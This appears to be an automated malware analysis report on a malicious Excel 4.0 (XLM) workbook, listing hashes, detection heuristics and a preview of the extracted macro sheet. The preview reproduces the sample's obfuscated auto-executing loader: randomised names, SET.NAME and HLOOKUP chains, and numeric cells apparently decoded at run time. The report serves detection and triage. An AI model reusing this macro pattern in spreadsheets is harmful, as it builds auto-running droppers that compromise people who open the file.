Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5cfb84eafabc8e14…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:40:18 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 7248836e2c948b62017f817562678f47 SHA-1: 43da99f9f7645e1eb7eb7eb20bd823c4ef684dde SHA-256: 5cfb84eafabc8e147efb58b10d0995bca0b7e6ceca5f7e65caa84823556b0f5f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6691 bytes
SHA-256: df4562ec316fa2bdd420d097b9947ef19044db269d6864551d86b3195970f513
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  miMSal
' 0018     23 LABEL : Cell Value, String Constant - Ajpwpwet len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H144 
' 0018     27 LABEL : Cell Value, String Constant - AwXhcHRCeKJM len=0 
' 0018     26 LABEL : Cell Value, String Constant - BhdEokzqZjP len=0 
' 0018     24 LABEL : Cell Value, String Constant - bwwGsrWSj len=0 
' 0018     21 LABEL : Cell Value, String Constant - grycCB len=0 
' 0018     26 LABEL : Cell Value, String Constant - jejforiZxoY len=0 
' 0018     26 LABEL : Cell Value, String Constant - JlTkbACPJsR len=0 
' 0018     21 LABEL : Cell Value, String Constant - MxMmjm len=0 
' 0018     25 LABEL : Cell Value, String Constant - nzixdopuHT len=0 
' 0018     22 LABEL : Cell Value, String Constant - ossJoZB len=0 
' 0018     23 LABEL : Cell Value, String Constant - RKpPEXKf len=0 
' 0018     25 LABEL : Cell Value, String Constant - rQnXmZdKnw len=0 
' 0018     21 LABEL : Cell Value, String Constant - RvKTCd len=0 
' 0018     26 LABEL : Cell Value, String Constant - tQiXzmRONpN len=0 
' 0018     22 LABEL : Cell Value, String Constant - udVqGLB len=0 
' 0018     23 LABEL : Cell Value, String Constant - wrbuFrVK len=0 
' 0018     24 LABEL : Cell Value, String Constant - yJftEIyLW len=0 
' 0018     26 LABEL : Cell Value, String Constant - yXsCBakCtIb len=0 
' 0018     20 LABEL : Cell Value, String Constant - Zefbh len=0 
' 0018     25 LABEL : Cell Value, String Constant - zkBherrmCQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  miMSal,H47,"SET.NAME("yXsCBakCtIb",0+VALUE("0"))",""
'  miMSal,H49,"SET.NAME("BhdEokzqZjP",yXsCBakCtIb)",""
'  miMSal,H54,"SET.NAME("yJftEIyLW",yXsCBakCtIb)",""
'  miMSal,H58,"SET.NAME("MxMmjm",COUNTA(nzixdopuHT))",""
'  miMSal,H61,"SET.NAME("grycCB",COUNTA(Ajpwpwet))",""
'  miMSal,H63,[],""
'  miMSal,H68,"SET.NAME("rQnXmZdKnw","")",""
'  miMSal,H71,"BhdEokzqZjP",""
'  miMSal,H76,"SET.NAME("udVqGLB",HLOOKUP("*",nzixdopuHT,BhdEokzqZjP,FALSE))",""
'  miMSal,H79,"JlTkbACPJsR",""
'  miMSal,H84,"SET.NAME("bwwGsrWSj",yXsCBakCtIb)",""
'  miMSal,T84,"",978.00000000000000000000
'  miMSal,T85,"",-449.00000000000000000000
'  miMSal,T86,"",681.00000000000000000000
'  miMSal,T87,"",590.00000000000000000000
'  miMSal,T88,"",-451.00000000000000000000
'  miMSal,H89,[],""
'  miMSal,T89,"",648.00000000000000000000
'  miMSal,H94,"bwwGsrWSj",""
'  miMSal,H98,"AwXhcHRCeKJM",""
'  miMSal,H102,"wrbuFrVK",""
'  miMSal,H104,"Zefbh",""
'  miMSal,H109,"SET.NAME("zkBherrmCQ",VALUE(HLOOKUP("*",Ajpwpwet,Zefbh,FALSE)))",""
'  miMSal,H112,"RvKTCd",""
'  miMSal,H114,"rQnXmZdKnw",""
'  miMSal,H119,"yJftEIyLW",""
'  miMSal,H123,NEXT(),""
'  miMSal,H125,"RKpPEXKf",""
'  miMSal,H127,[],""
'  miMSal,H130,"tQiXzmRONpN",""
'  miMSal,H135,NEXT(),""
'  miMSal,H140,RETURN(),""
'  miMSal,H169,"SET.NAME("ossJoZB",H47)",""
'  miMSal,H172,"nzixdopuHT",""
'  miMSal,H175,"SET.NAME("Ajpwpwet",R56C14)",""
'  miMSal,H180,"SET.NAME("tQiXzmRONpN",188)",""
'  miMSal,H182,"SET.NAME("jejforiZxoY",8)",""
'  miMSal,H187,ossJoZB(),""
'  miMSal,H188,HALT(),""